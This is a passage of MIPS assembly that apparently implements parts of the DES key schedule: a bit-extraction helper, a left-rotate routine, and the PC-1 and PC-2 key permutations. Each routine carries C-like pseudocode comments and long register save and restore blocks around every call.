sw $s4,68($sp)
sw $s5,64($sp)
sw $s6,60($sp)
sw $s7,56($sp)
sw $t0,52($sp)
sw $t1,48($sp)
sw $t2,44($sp)
sw $t3,40($sp)
sw $t4,36($sp)
sw $t5,32($sp)
sw $t6,28($sp)
sw $t7,24($sp)
sw $t8,20($sp)
sw $t9,16($sp)
sw $a0,12($sp)
sw $a1,8($sp)
sw $a2,4($sp)
sw $a3,0($sp)
#--------------------------
addi $s7,$ra,0
li $t3,0 #sum
li $t0,0 #t
add $t1,$a0,$zero #i
getV_check:
slt $t2,$t1,$a1
bne $t2,$zero,getV_exit
getV_loop:
#getB() ---------
#-save--------------------
addi $sp,$sp,-88
sw $s0,84($sp)
sw $s1,80($sp)
sw $s2,76($sp)
sw $s3,72($sp)
sw $s4,68($sp)
sw $s5,64($sp)
sw $s6,60($sp)
sw $s7,56($sp)
sw $t0,52($sp)
sw $t1,48($sp)
sw $t2,44($sp)
sw $t3,40($sp)
sw $t4,36($sp)
sw $t5,32($sp)
sw $t6,28($sp)
sw $t7,24($sp)
sw $t8,20($sp)
sw $t9,16($sp)
sw $a0,12($sp)
sw $a1,8($sp)
sw $a2,4($sp)
sw $a3,0($sp)
#--------------------------
addi $a1,$t1,0 #loc
addi $a0,$a2,0 #in
jal getbit
#-load---------------------
lw $a3,0($sp)
lw $a2,4($sp)
lw $a1,8($sp)
lw $a0,12($sp)
lw $t9,16($sp)
lw $t8,20($sp)
lw $t7,24($sp)
lw $t6,28($sp)
lw $t5,32($sp)
lw $t4,36($sp)
lw $t3,40($sp)
lw $t2,44($sp)
lw $t1,48($sp)
lw $t0,52($sp)
lw $s7,56($sp)
lw $s6,60($sp)
lw $s5,64($sp)
lw $s4,68($sp)
lw $s3,72($sp)
lw $s2,76($sp)
lw $s1,80($sp)
lw $s0,84($sp)
addi $sp,$sp,88
#--------------------------
#end getbit-------
sll $v1,$v1,$t0
add $t3,$t3,$v1
addi $t0,$t0,1
addi $t1,$t1,-1
j getV_check
getV_exit:
addi $ra,$s7,0
add $v1,$zero,$t3
#-load---------------------
lw $a3,0($sp)
lw $a2,4($sp)
lw $a1,8($sp)
lw $a0,12($sp)
lw $t9,16($sp)
lw $t8,20($sp)
lw $t7,24($sp)
lw $t6,28($sp)
lw $t5,32($sp)
lw $t4,36($sp)
lw $t3,40($sp)
lw $t2,44($sp)
lw $t1,48($sp)
lw $t0,52($sp)
lw $s7,56($sp)
lw $s6,60($sp)
lw $s5,64($sp)
lw $s4,68($sp)
lw $s3,72($sp)
lw $s2,76($sp)
lw $s1,80($sp)
lw $s0,84($sp)
addi $sp,$sp,88
#--------------------------
jr $ra
#OutPut:=v1
#----------------------------------------------------------
#shiftL----------------------------------------------------
#$s0 #rep
#$s1 #size
#$s2 #inp
#jal shiftL
#int shiftL(int inp,int size,int rep){
# for (int i=0;i<rep;i++){
# int bit=0;
# bit=getB(inp,1);
# bit=bit<<32-size;
# inp=inp<<1;
# inp=inp|bit;
# }
# return inp;
#}
shiftL:
#-save--------------------
addi $sp,$sp,-88
sw $s0,84($sp)
sw $s1,80($sp)
sw $s2,76($sp)
sw $s3,72($sp)
sw $s4,68($sp)
sw $s5,64($sp)
sw $s6,60($sp)
sw $s7,56($sp)
sw $t0,52($sp)
sw $t1,48($sp)
sw $t2,44($sp)
sw $t3,40($sp)
sw $t4,36($sp)
sw $t5,32($sp)
sw $t6,28($sp)
sw $t7,24($sp)
sw $t8,20($sp)
sw $t9,16($sp)
sw $a0,12($sp)
sw $a1,8($sp)
sw $a2,4($sp)
sw $a3,0($sp)
#--------------------------
addi $s7,$ra,0
li $t0,0 #i
shiftL_check:
slt $t2,$t0,$s0
beq $t2,$zero,shiftL_exit
shiftL_loop:
li $t2,0 #bit=0
li $t4,1
#getB() ---------
#-save--------------------
addi $sp,$sp,-88
sw $s0,84($sp)
sw $s1,80($sp)
sw $s2,76($sp)
sw $s3,72($sp)
sw $s4,68($sp)
sw $s5,64($sp)
sw $s6,60($sp)
sw $s7,56($sp)
sw $t0,52($sp)
sw $t1,48($sp)
sw $t2,44($sp)
sw $t3,40($sp)
sw $t4,36($sp)
sw $t5,32($sp)
sw $t6,28($sp)
sw $t7,24($sp)
sw $t8,20($sp)
sw $t9,16($sp)
sw $a0,12($sp)
sw $a1,8($sp)
sw $a2,4($sp)
sw $a3,0($sp)
#--------------------------
addi $a1,$t4,0 #loc
addi $a0,$s2,0 #in
jal getbit
#-load---------------------
lw $a3,0($sp)
lw $a2,4($sp)
lw $a1,8($sp)
lw $a0,12($sp)
lw $t9,16($sp)
lw $t8,20($sp)
lw $t7,24($sp)
lw $t6,28($sp)
lw $t5,32($sp)
lw $t4,36($sp)
lw $t3,40($sp)
lw $t2,44($sp)
lw $t1,48($sp)
lw $t0,52($sp)
lw $s7,56($sp)
lw $s6,60($sp)
lw $s5,64($sp)
lw $s4,68($sp)
lw $s3,72($sp)
lw $s2,76($sp)
lw $s1,80($sp)
lw $s0,84($sp)
addi $sp,$sp,88
#--------------------------
#end getbit-------
add $t2,$t2,$v1 #bit=getB(inp,1);
sub $t3,$zero,$s1 #-size;
addi $t3,$t3,32 #32-size;
sll $t2,$t2,$t3
sll $s2,$s2,$t4
or $s2,$s2,$t2
addi $t0,$t0,1 #i+=1
j shiftL_check
shiftL_exit:
add $v1,$zero,$s2
addi $ra,$s7,0
#-load---------------------
lw $a3,0($sp)
lw $a2,4($sp)
lw $a1,8($sp)
lw $a0,12($sp)
lw $t9,16($sp)
lw $t8,20($sp)
lw $t7,24($sp)
lw $t6,28($sp)
lw $t5,32($sp)
lw $t4,36($sp)
lw $t3,40($sp)
lw $t2,44($sp)
lw $t1,48($sp)
lw $t0,52($sp)
lw $s7,56($sp)
lw $s6,60($sp)
lw $s5,64($sp)
lw $s4,68($sp)
lw $s3,72($sp)
lw $s2,76($sp)
lw $s1,80($sp)
lw $s0,84($sp)
addi $sp,$sp,88
#--------------------------
jr $ra
#OutPut:=v1
#----------------------------------------------------------
#pKEY----------------------------------------------------
#$s0 #l
#$s1 #r
#jal pKEY
#void pKEY(int &l,int &r){
# int map[56]={57,49,41,33,25,17,9,1,58,50,42,34,26,18,10,2,59,51,43,35,27,19,11,3,60,52,44,36,63,55,47,39,31,23,15,7,62,54,46,38,30,22,14,6,61,53,45,37,29,21,13,5,28,20,12,4};
# int hl=l;
# int hr=r;
# for (int t=0;t<56;t++){
# if (map[t]>32){
# if (t>27){
# setB(hr,getB(r,map[t]-32),t-27);
# }
# else{
# setB(hl,getB(r,map[t]-32),t+1);
# }
# }
# else{
# if (t>27){
# setB(hr,getB(l,map[t]),t-27);
# }
# else{
# setB(hl,getB(l,map[t]),t+1);
# }
# }
#
# }
# r=hr;
# l=hl;
#
# r=r>>4;
# r=r<<4;
# l=l>>4;
# l=l<<4;
#}
pKEY:
#-save--------------------
addi $sp,$sp,-88
sw $s0,84($sp)
sw $s1,80($sp)
sw $s2,76($sp)
sw $s3,72($sp)
sw $s4,68($sp)
sw $s5,64($sp)
sw $s6,60($sp)
sw $s7,56($sp)
sw $t0,52($sp)
sw $t1,48($sp)
sw $t2,44($sp)
sw $t3,40($sp)
sw $t4,36($sp)
sw $t5,32($sp)
sw $t6,28($sp)
sw $t7,24($sp)
sw $t8,20($sp)
sw $t9,16($sp)
sw $a0,12($sp)
sw $a1,8($sp)
sw $a2,4($sp)
sw $a3,0($sp)
#--------------------------
addi $s7,$ra,0
add $t5,$s0,$zero #hl
add $t6,$s1,$zero #hr
li $t8,0 #t
li $t1,0 #map[t]
pKEY_check:
slt $t2,$t8,56
beq $t2,$zero,pKEY_exit
pKEY_loop:
lb $t1,map_pKEY($t8) #map[t]
li $t7,32
slt $t2,$t7,$t1
beq $t2,$zero,pKEY_get_l
pKEY_get_r:
addi $t3,$t1,-32
li $t7,27
slt $t2,$t7,$t8
beq $t2,$zero,pKEY_get_r_set_l
pKEY_get_r_set_r:
#getB() ---------
#-save--------------------
addi $sp,$sp,-88
sw $s0,84($sp)
sw $s1,80($sp)
sw $s2,76($sp)
sw $s3,72($sp)
sw $s4,68($sp)
sw $s5,64($sp)
sw $s6,60($sp)
sw $s7,56($sp)
sw $t0,52($sp)
sw $t1,48($sp)
sw $t2,44($sp)
sw $t3,40($sp)
sw $t4,36($sp)
sw $t5,32($sp)
sw $t6,28($sp)
sw $t7,24($sp)
sw $t8,20($sp)
sw $t9,16($sp)
sw $a0,12($sp)
sw $a1,8($sp)
sw $a2,4($sp)
sw $a3,0($sp)
#--------------------------
addi $a1,$t3,0 #loc
addi $a0,$s1,0 #in
jal getbit
#-load---------------------
lw $a3,0($sp)
lw $a2,4($sp)
lw $a1,8($sp)
lw $a0,12($sp)
lw $t9,16($sp)
lw $t8,20($sp)
lw $t7,24($sp)
lw $t6,28($sp)
lw $t5,32($sp)
lw $t4,36($sp)
lw $t3,40($sp)
lw $t2,44($sp)
lw $t1,48($sp)
lw $t0,52($sp)
lw $s7,56($sp)
lw $s6,60($sp)
lw $s5,64($sp)
lw $s4,68($sp)
lw $s3,72($sp)
lw $s2,76($sp)
lw $s1,80($sp)
lw $s0,84($sp)
addi $sp,$sp,88
#--------------------------
#end getbit-------
addi $t3,$t8,-27
#setB() ---------
#-save--------------------
addi $sp,$sp,-88
sw $s0,84($sp)
sw $s1,80($sp)
sw $s2,76($sp)
sw $s3,72($sp)
sw $s4,68($sp)
sw $s5,64($sp)
sw $s6,60($sp)
sw $s7,56($sp)
sw $t0,52($sp)
sw $t1,48($sp)
sw $t2,44($sp)
sw $t3,40($sp)
sw $t4,36($sp)
sw $t5,32($sp)
sw $t6,28($sp)
sw $t7,24($sp)
sw $t8,20($sp)
sw $t9,16($sp)
sw $a0,12($sp)
sw $a1,8($sp)
sw $a2,4($sp)
sw $a3,0($sp)
#--------------------------
addi $a2,$t3,0
addi $a1,$v1,0
addi $a0,$t6,0
jal setbit
#-load---------------------
lw $a3,0($sp)
lw $a2,4($sp)
lw $a1,8($sp)
lw $a0,12($sp)
lw $t9,16($sp)
lw $t8,20($sp)
lw $t7,24($sp)
lw $t6,28($sp)
lw $t5,32($sp)
lw $t4,36($sp)
lw $t3,40($sp)
lw $t2,44($sp)
lw $t1,48($sp)
lw $t0,52($sp)
lw $s7,56($sp)
lw $s6,60($sp)
lw $s5,64($sp)
lw $s4,68($sp)
lw $s3,72($sp)
lw $s2,76($sp)
lw $s1,80($sp)
lw $s0,84($sp)
addi $sp,$sp,88
#--------------------------
#end setbit-------
ori $t6,$v1,0
j pkey_ex
pKEY_get_r_set_l:
#getB() ---------
#-save--------------------
addi $sp,$sp,-88
sw $s0,84($sp)
sw $s1,80($sp)
sw $s2,76($sp)
sw $s3,72($sp)
sw $s4,68($sp)
sw $s5,64($sp)
sw $s6,60($sp)
sw $s7,56($sp)
sw $t0,52($sp)
sw $t1,48($sp)
sw $t2,44($sp)
sw $t3,40($sp)
sw $t4,36($sp)
sw $t5,32($sp)
sw $t6,28($sp)
sw $t7,24($sp)
sw $t8,20($sp)
sw $t9,16($sp)
sw $a0,12($sp)
sw $a1,8($sp)
sw $a2,4($sp)
sw $a3,0($sp)
#--------------------------
addi $a1,$t3,0 #loc
addi $a0,$s1,0 #in
jal getbit
#-load---------------------
lw $a3,0($sp)
lw $a2,4($sp)
lw $a1,8($sp)
lw $a0,12($sp)
lw $t9,16($sp)
lw $t8,20($sp)
lw $t7,24($sp)
lw $t6,28($sp)
lw $t5,32($sp)
lw $t4,36($sp)
lw $t3,40($sp)
lw $t2,44($sp)
lw $t1,48($sp)
lw $t0,52($sp)
lw $s7,56($sp)
lw $s6,60($sp)
lw $s5,64($sp)
lw $s4,68($sp)
lw $s3,72($sp)
lw $s2,76($sp)
lw $s1,80($sp)
lw $s0,84($sp)
addi $sp,$sp,88
#--------------------------
#end getbit-------
addi $t3,$t8,1
#setB() ---------
#-save--------------------
addi $sp,$sp,-88
sw $s0,84($sp)
sw $s1,80($sp)
sw $s2,76($sp)
sw $s3,72($sp)
sw $s4,68($sp)
sw $s5,64($sp)
sw $s6,60($sp)
sw $s7,56($sp)
sw $t0,52($sp)
sw $t1,48($sp)
sw $t2,44($sp)
sw $t3,40($sp)
sw $t4,36($sp)
sw $t5,32($sp)
sw $t6,28($sp)
sw $t7,24($sp)
sw $t8,20($sp)
sw $t9,16($sp)
sw $a0,12($sp)
sw $a1,8($sp)
sw $a2,4($sp)
sw $a3,0($sp)
#--------------------------
addi $a2,$t3,0
addi $a1,$v1,0
addi $a0,$t5,0
jal setbit
#-load---------------------
lw $a3,0($sp)
lw $a2,4($sp)
lw $a1,8($sp)
lw $a0,12($sp)
lw $t9,16($sp)
lw $t8,20($sp)
lw $t7,24($sp)
lw $t6,28($sp)
lw $t5,32($sp)
lw $t4,36($sp)
lw $t3,40($sp)
lw $t2,44($sp)
lw $t1,48($sp)
lw $t0,52($sp)
lw $s7,56($sp)
lw $s6,60($sp)
lw $s5,64($sp)
lw $s4,68($sp)
lw $s3,72($sp)
lw $s2,76($sp)
lw $s1,80($sp)
lw $s0,84($sp)
addi $sp,$sp,88
#--------------------------
#end setbit-------
ori $t5,$v1,0
j pkey_ex
pKEY_get_l:
addi $t3,$t1,0
li $t7,27
slt $t2,$t7,$t8
beq $t2,$zero,pKEY_get_l_set_l
pKEY_get_l_set_r:
#getB() ---------
#-save--------------------
addi $sp,$sp,-88
sw $s0,84($sp)
sw $s1,80($sp)
sw $s2,76($sp)
sw $s3,72($sp)
sw $s4,68($sp)
sw $s5,64($sp)
sw $s6,60($sp)
sw $s7,56($sp)
sw $t0,52($sp)
sw $t1,48($sp)
sw $t2,44($sp)
sw $t3,40($sp)
sw $t4,36($sp)
sw $t5,32($sp)
sw $t6,28($sp)
sw $t7,24($sp)
sw $t8,20($sp)
sw $t9,16($sp)
sw $a0,12($sp)
sw $a1,8($sp)
sw $a2,4($sp)
sw $a3,0($sp)
#--------------------------
addi $a1,$t3,0 #loc
addi $a0,$s0,0 #in
jal getbit
#-load---------------------
lw $a3,0($sp)
lw $a2,4($sp)
lw $a1,8($sp)
lw $a0,12($sp)
lw $t9,16($sp)
lw $t8,20($sp)
lw $t7,24($sp)
lw $t6,28($sp)
lw $t5,32($sp)
lw $t4,36($sp)
lw $t3,40($sp)
lw $t2,44($sp)
lw $t1,48($sp)
lw $t0,52($sp)
lw $s7,56($sp)
lw $s6,60($sp)
lw $s5,64($sp)
lw $s4,68($sp)
lw $s3,72($sp)
lw $s2,76($sp)
lw $s1,80($sp)
lw $s0,84($sp)
addi $sp,$sp,88
#--------------------------
#end getbit-------
ori $t7,$v1,0
addi $t3,$t8,-27
#setB() ---------
#-save--------------------
addi $sp,$sp,-88
sw $s0,84($sp)
sw $s1,80($sp)
sw $s2,76($sp)
sw $s3,72($sp)
sw $s4,68($sp)
sw $s5,64($sp)
sw $s6,60($sp)
sw $s7,56($sp)
sw $t0,52($sp)
sw $t1,48($sp)
sw $t2,44($sp)
sw $t3,40($sp)
sw $t4,36($sp)
sw $t5,32($sp)
sw $t6,28($sp)
sw $t7,24($sp)
sw $t8,20($sp)
sw $t9,16($sp)
sw $a0,12($sp)
sw $a1,8($sp)
sw $a2,4($sp)
sw $a3,0($sp)
#--------------------------
addi $a2,$t3,0
addi $a1,$v1,0
addi $a0,$t6,0
jal setbit
#-load---------------------
lw $a3,0($sp)
lw $a2,4($sp)
lw $a1,8($sp)
lw $a0,12($sp)
lw $t9,16($sp)
lw $t8,20($sp)
lw $t7,24($sp)
lw $t6,28($sp)
lw $t5,32($sp)
lw $t4,36($sp)
lw $t3,40($sp)
lw $t2,44($sp)
lw $t1,48($sp)
lw $t0,52($sp)
lw $s7,56($sp)
lw $s6,60($sp)
lw $s5,64($sp)
lw $s4,68($sp)
lw $s3,72($sp)
lw $s2,76($sp)
lw $s1,80($sp)
lw $s0,84($sp)
addi $sp,$sp,88
#--------------------------
#end setbit-------
ori $t6,$v1,0
j pkey_ex
pKEY_get_l_set_l:
#getB() ---------
#-save--------------------
addi $sp,$sp,-88
sw $s0,84($sp)
sw $s1,80($sp)
sw $s2,76($sp)
sw $s3,72($sp)
sw $s4,68($sp)
sw $s5,64($sp)
sw $s6,60($sp)
sw $s7,56($sp)
sw $t0,52($sp)
sw $t1,48($sp)
sw $t2,44($sp)
sw $t3,40($sp)
sw $t4,36($sp)
sw $t5,32($sp)
sw $t6,28($sp)
sw $t7,24($sp)
sw $t8,20($sp)
sw $t9,16($sp)
sw $a0,12($sp)
sw $a1,8($sp)
sw $a2,4($sp)
sw $a3,0($sp)
#--------------------------
addi $a1,$t3,0 #loc
addi $a0,$s0,0 #in
jal getbit
#-load---------------------
lw $a3,0($sp)
lw $a2,4($sp)
lw $a1,8($sp)
lw $a0,12($sp)
lw $t9,16($sp)
lw $t8,20($sp)
lw $t7,24($sp)
lw $t6,28($sp)
lw $t5,32($sp)
lw $t4,36($sp)
lw $t3,40($sp)
lw $t2,44($sp)
lw $t1,48($sp)
lw $t0,52($sp)
lw $s7,56($sp)
lw $s6,60($sp)
lw $s5,64($sp)
lw $s4,68($sp)
lw $s3,72($sp)
lw $s2,76($sp)
lw $s1,80($sp)
lw $s0,84($sp)
addi $sp,$sp,88
#--------------------------
#end getbit-------
addi $t3,$t8,1
#setB() ---------
#-save--------------------
addi $sp,$sp,-88
sw $s0,84($sp)
sw $s1,80($sp)
sw $s2,76($sp)
sw $s3,72($sp)
sw $s4,68($sp)
sw $s5,64($sp)
sw $s6,60($sp)
sw $s7,56($sp)
sw $t0,52($sp)
sw $t1,48($sp)
sw $t2,44($sp)
sw $t3,40($sp)
sw $t4,36($sp)
sw $t5,32($sp)
sw $t6,28($sp)
sw $t7,24($sp)
sw $t8,20($sp)
sw $t9,16($sp)
sw $a0,12($sp)
sw $a1,8($sp)
sw $a2,4($sp)
sw $a3,0($sp)
#--------------------------
addi $a2,$t3,0
addi $a1,$v1,0
addi $a0,$t5,0
jal setbit
#-load---------------------
lw $a3,0($sp)
lw $a2,4($sp)
lw $a1,8($sp)
lw $a0,12($sp)
lw $t9,16($sp)
lw $t8,20($sp)
lw $t7,24($sp)
lw $t6,28($sp)
lw $t5,32($sp)
lw $t4,36($sp)
lw $t3,40($sp)
lw $t2,44($sp)
lw $t1,48($sp)
lw $t0,52($sp)
lw $s7,56($sp)
lw $s6,60($sp)
lw $s5,64($sp)
lw $s4,68($sp)
lw $s3,72($sp)
lw $s2,76($sp)
lw $s1,80($sp)
lw $s0,84($sp)
addi $sp,$sp,88
#--------------------------
#end setbit-------
ori $t5,$v1,0
j pkey_ex
pkey_ex:
addi $t8,$t8,1 #i+=1
j pKEY_check
pKEY_exit:
add $ra,$zero,$s7
add $s5,$zero,$t6 #r
add $s6,$zero,$t5 #l
srl $v0,$s5,4 #r
sll $v0,$v0,4
srl $v1,$s6,4 #l
sll $v1,$v1,4
addi $ra,$s7,0
#-load---------------------
lw $a3,0($sp)
lw $a2,4($sp)
lw $a1,8($sp)
lw $a0,12($sp)
lw $t9,16($sp)
lw $t8,20($sp)
lw $t7,24($sp)
lw $t6,28($sp)
lw $t5,32($sp)
lw $t4,36($sp)
lw $t3,40($sp)
lw $t2,44($sp)
lw $t1,48($sp)
lw $t0,52($sp)
lw $s7,56($sp)
lw $s6,60($sp)
lw $s5,64($sp)
lw $s4,68($sp)
lw $s3,72($sp)
lw $s2,76($sp)
lw $s1,80($sp)
lw $s0,84($sp)
addi $sp,$sp,88
#--------------------------
jr $ra
#OutPut:=v0,v1
#----------------------------------------------------------
#pSUBKEY----------------------------------------------------
#$s0 #l
#$s1 #r
#jal pSUBKEY
#void pSUBKEY(int &l,int &r){
# int map[48]={14,17,11,24,1,5,3,28,15,6,21,10,23,19,12,4,26,8,16,7,27,20,13,2,41,52,31,37,47,55,30,40,51,45,33,48,44,49,39,56,34,53,46,42,50,36,29,32
# };
# int hl=l;
# int hr=r;
# for (int t=0;t<48;t++){
# if (map[t]>28){
# if (t>23){
# setB(hr,getB(r,map[t]-28),t-23);
# }
# else{
# setB(hl,getB(r,map[t]-28),t+1);
# }
# }
# else{
# if (t>23){
# setB(hr,getB(l,map[t]),t-23);
# }
# else{
# setB(hl,getB(l,map[t]),t+1);
# }
# }
#
# }
# r=hr;
# l=hl;
#
# r=r>>8;
# r=r<<8;
# l=l>>8;
# l=l<<8;
#}
pSUBKEY:
#-save--------------------
addi $sp,$sp,-88
sw $s0,84($sp)
sw $s1,80($sp)
sw $s2,76($sp)
sw $s3,72($sp)
sw $s4,68($sp)
sw $s5,64($sp)
sw $s6,60($sp)
sw $s7,56($sp)
sw $t0,52($sp)
sw $t1,48($sp)
sw $t2,44($sp)
sw $t3,40($sp)
sw $t4,36($sp)
sw $t5,32($sp)
sw $t6,28($sp)
sw $t7,24($sp)
sw $t8,20($sp)
sw $t9,16($sp)
sw $a0,12($sp)
sw $a1,8($sp)
sw $a2,4($sp)
sw $a3,0($sp)
#--------------------------
addi $s7,$ra,0
add $t5,$s0,$zero #hl
add $t6,$s1,$zero #hr
li $t8,0 #t
li $t1,0 #map[t]
pSUBKEY_check:
slt $t2,$t8,48
beq $t2,$zero,pSUBKEY_exit
pSUBKEY_loop:
lb $t1,map_pSUBKEY($t8) #map[t]
li $t7,28
slt $t2,$t7,$t1
beq $t2,$zero,pSUBKEY_get_l
pSUBKEY_get_r:
addi $t3,$t1,-28
li $t7,23
slt $t2,$t7,$t8
beq $t2,$zero,pSUBKEY_get_r_set_l
pSUBKEY_get_r_set_r:
#getB() ---------
#-save--------------------
addi $sp,$sp,-88
sw $s0,84($sp)
sw $s1,80($sp)
sw $s2,76($sp)
sw $s3,72($sp)
sw $s4,68($sp)
sw $s5,64($sp)
sw $s6,60($sp)
sw $s7,56($sp)
sw $t0,52($sp)
sw $t1,48($sp)
sw $t2,44($sp)
sw $t3,40($sp)
sw $t4,36($sp)
sw $t5,32($sp)
sw $t6,28($sp)
sw $t7,24($sp)
sw $t8,20($sp)
sw $t9,16($sp)
sw $a0,12($sp)
sw $a1,8($sp)
sw $a2,4($sp)
sw $a3,0($sp)
#--------------------------
addi $a1,$t3,0 #loc
addi $a0,$s1,0 #in
jal getbit
#-load---------------------
lw $a3,0($sp)
lw $a2,4($sp)
lw $a1,8($sp)
lw $a0,12($sp)
lw $t9,16($sp)
lw $t8,20($sp)
lw $t7,24($sp)
lw $t6,28($sp)
lw $t5,32($sp)
lw $t4,36($sp)
lw $t3,40($sp)
lw $t2,44($sp)
lw $t1,48($sp)
lw $t0,52($sp)
lw $s7,56($sp)
lw $s6,60($sp)
lw $s5,64($sp)
lw $s4,68($sp)
lw $s3,72($sp)
lw $s2,76($sp)
lw $s1,80($sp)
lw $s0,84($sp)
addi $sp,$sp,88
#--------------------------
#end getbit-------
addi $t3,$t8,-23
#setB() ---------
#-save--------------------
addi $sp,$sp,-88
sw $s0,84($sp)
sw $s1,80($sp)
sw $s2,76($sp)
sw $s3,72($sp)
sw $s4,68($sp)
sw $s5,64($sp)
sw $s6,60($sp)
sw $s7,56($sp)
sw $t0,52($sp)
sw $t1,48($sp)
sw $t2,44($sp)
sw $t3,40($sp)
sw $t4,36($sp)
sw $t5,32($sp)
sw $t6,28($sp)
sw $t7,24($sp)
sw $t8,20($sp)
sw $t9,16($sp)
sw $a0,12($sp)
sw $a1,8($sp)
sw $a2,4($sp)
sw $a3,0($sp)
#--------------------------
addi $a2,$t3,0
addi $a1,$v1,0
addi $a0,$t6,0
jal setbit
#-load---------------------
lw $a3,0($sp)
lw $a2,4($sp)
lw $a1,8($sp)
lw $a0,12($sp)
lw $t9,16($sp)
lw $t8,20($sp)
lw $t7,24($sp)
lw $t6,28($sp)
lw $t5,32($sp)
lw $t4,36($sp)
lw $t3,40($sp)
lw $t2,44($sp)
lw $t1,48($sp)
lw $t0,52($sp)
lw $s7,56($sp)
lw $s6,60($sp)
lw $s5,64($sp)
lw $s4,68($sp)
lw $s3,72($sp)
lw $s2,76($sp)
lw $s1,80($sp)
lw $s0,84($sp)
addi $sp,$sp,88
#--------------------------
#end setbit-------
ori $t6,$v1,0
j pSUBKEY_ex
pSUBKEY_get_r_set_l:
#getB() ---------
#-save--------------------
addi $sp,$sp,-88
sw $s0,84($sp)
sw $s1,80($sp)
sw $s2,76($sp)
sw $s3,72($sp)
sw $s4,68($sp)
sw $s5,64($sp)
sw $s6,60($sp)
sw $s7,56($sp)
sw $t0,52($sp)
sw $t1,48($sp)
sw $t2,44($sp)
sw $t3,40($sp)
sw $t4,36($sp)
sw $t5,32($sp)
sw $t6,28($sp)
sw $t7,24($sp)
sw $t8,20($sp)
sw $t9,16($sp)
sw $a0,12($sp)
sw $a1,8($sp)
sw $a2,4($sp)
sw $a3,0($sp)
#--------------------------
addi $a1,$t3,0 #loc
addi $a0,$s1,0 #in
jal getbit
#-load---------------------
lw $a3,0($sp)
lw $a2,4($sp)
lw $a1,8($sp)
lw $a0,12($sp)
lw $t9,16($sp)
lw $t8,20($sp)
lw $t7,24($sp)
lw $t6,28($sp)
lw $t5,32($sp)
lw $t4,36($sp)
lw $t3,40($sp)
lw $t2,44($sp)
lw $t1,48($sp)
lw $t0,52($sp)
lw $s7,56($sp)
lw $s6,60($sp)
lw $s5,64($sp)
lw $s4,68($sp)
lw $s3,72($sp)
lw $s2,76($sp)
lw $s1,80($sp)
lw $s0,84($sp)
addi $sp,$sp,88
#--------------------------
#end getbit-------
addi $t3,$t8,1
#setB() ---------
#-save--------------------
addi $sp,$sp,-88
sw $s0,84($sp)
sw $s1,80($sp)
sw $s2,76($sp)
sw $s3,72($sp)
sw $s4,68($sp)
sw $s5,64($sp)
sw $s6,60($sp)
sw $s7,56($sp)
sw $t0,52($sp)
sw $t1,48($sp)
sw $t2,44($sp)
sw $t3,40($sp)
sw $t4,36($sp)
sw $t5,32($sp)
sw $t6,28($sp)
sw $t7,24($sp)
sw $t8,20($sp)
sw $t9,16($sp)
sw $a0,12($sp)
sw $a1,8($sp)
sw $a2,4($sp)
sw $a3,0($sp)
#--------------------------
addi $a2,$t3,0
addi $a1,$v1,0
addi $a0,$t5,0
jal setbit
#-load---------------------
lw $a3,0($sp)
lw $a2,4($sp)
lw $a1,8($sp)
lw $a0,12($sp)
lw $t9,16($sp)
lw $t8,20($sp)
lw $t7,24($sp)
lw $t6,28($sp)
lw $t5,32($sp)
lw $t4,36($sp)
lw $t3,40($sp)
lw $t2,44($sp)
lw $t1,48($sp)
lw $t0,52($sp)
lw $s7,56($sp)
lw $s6,60($sp)
lw $s5,64($sp)
lw $s4,68($sp)
lw $s3,72($sp)
lw $s2,76($sp)
lw $s1,80($sp)
lw $s0,84($sp)
addi $sp,$sp,88
#--------------------------
#end setbit-------
ori $t5,$v1,0
j pSUBKEY_ex
pSUBKEY_get_l:
addi $t3,$t1,0
li $t7,23
slt $t2,$t7,$t8
beq $t2,$zero,pSUBKEY_get_l_set_l
pSUBKEY_get_l_set_r:
#getB() ---------
#-save--------------------
addi $sp,$sp,-88
sw $s0,84($sp)
sw $s1,80($sp)
sw $s2,76($sp)
sw $s3,72($sp)
sw $s4,68($sp)
sw $s5,64($sp)
sw $s6,60($sp)
sw $s7,56($sp)
sw $t0,52($sp)
sw $t1,48($sp)
sw $t2,44($sp)
sw $t3,40($sp)
sw $t4,36($sp)
sw $t5,32($sp)
sw $t6,28($sp)
sw $t7,24($sp)
sw $t8,20($sp)
sw $t9,16($sp)
sw $a0,12($sp)
sw $a1,8($sp)
sw $a2,4($sp)
sw $a3,0($sp)
#--------------------------
addi $a1,$t3,0 #loc
addi $a0,$s0,0 #in
jal getbit
#-load---------------------
lw $a3,0($sp)
lw $a2,4($sp)
lw $a1,8($sp)
lw $a0,12($sp)
lw $t9,16($sp)
lw $t8,20($sp)
lw $t7,24($sp)
lw $t6,28($sp)
lw $t5,32($sp)
lw $t4,36($sp)
lw $t3,40($sp)
lw $t2,44($sp)
lw $t1,48($sp)
lw $t0,52($sp)
lw $s7,56($sp)
lw $s6,60($sp)
lw $s5,64($sp)
lw $s4,68($sp)
lw $s3,72($sp)
lw $s2,76($sp)
lw $s1,80($sp)
lw $s0,84($sp)
addi $sp,$sp,88
#--------------------------
#end getbit-------
ori $t7,$v1,0
addi $t3,$t8,-23
#setB() ---------
#-save--------------------
addi $sp,$sp,-88
sw $s0,84($sp)
sw $s1,80($sp)
sw $s2,76($sp)
sw $s3,72($sp)
sw $s4,68($sp)
sw $s5,64($sp)
sw $s6,60($sp)
sw $s7,56($sp)
sw $t0,52($sp)
sw $t1,48($sp)
sw $t2,44($sp)
sw $t3,40($sp)
sw $t4,36($sp)
sw $t5,32($sp)
sw $t6,28($sp)
sw $t7,24($sp)
sw $t8,20($sp)
sw $t9,16($sp)
sw $a0,12($sp)
sw $a1,8($sp)
sw $a2,4($sp)
sw $a3,0($sp)
#--------------------------
addi $a2,$t3,0
addi $a1,$t7,0
addi $a0,$t6,0
jal setbit
#-load---------------------
lw $a3,0($sp)
lw $a2,4($sp)
lw $a1,8($sp)
lw $a0,12($sp)
lw $t9,16($sp)
lw $t8,20($sp)
lw $t7,24($sp)
lw $t6,28($sp)
lw $t5,32($sp)
lw $t4,36($sp)
lw $t3,40($sp)
lw $t2,44($sp)
lw $t1,48($sp)
lw $t0,52($sp)
lw $s7,56($sp)
lw $s6,60($sp)
lw $s5,64($sp)
lw $s4,68($sp)
lw $s3,72($sp)
lw $s2,76($sp)
lw $s1,80($sp)
lw $s0,84($sp)
addi $sp,$sp,88
#--------------------------
#end setbit-------
ori $t6,$v1,0
j pSUBKEY_ex
pSUBKEY_get_l_set_l:
#getB() ---------
#-save--------------------
addi $sp,$sp,-88
sw $s0,84($sp)
sw $s1,80($sp)
sw $s2,76($sp)
sw $s3,72($sp)
sw $s4,68($sp)
sw $s5,64($sp)
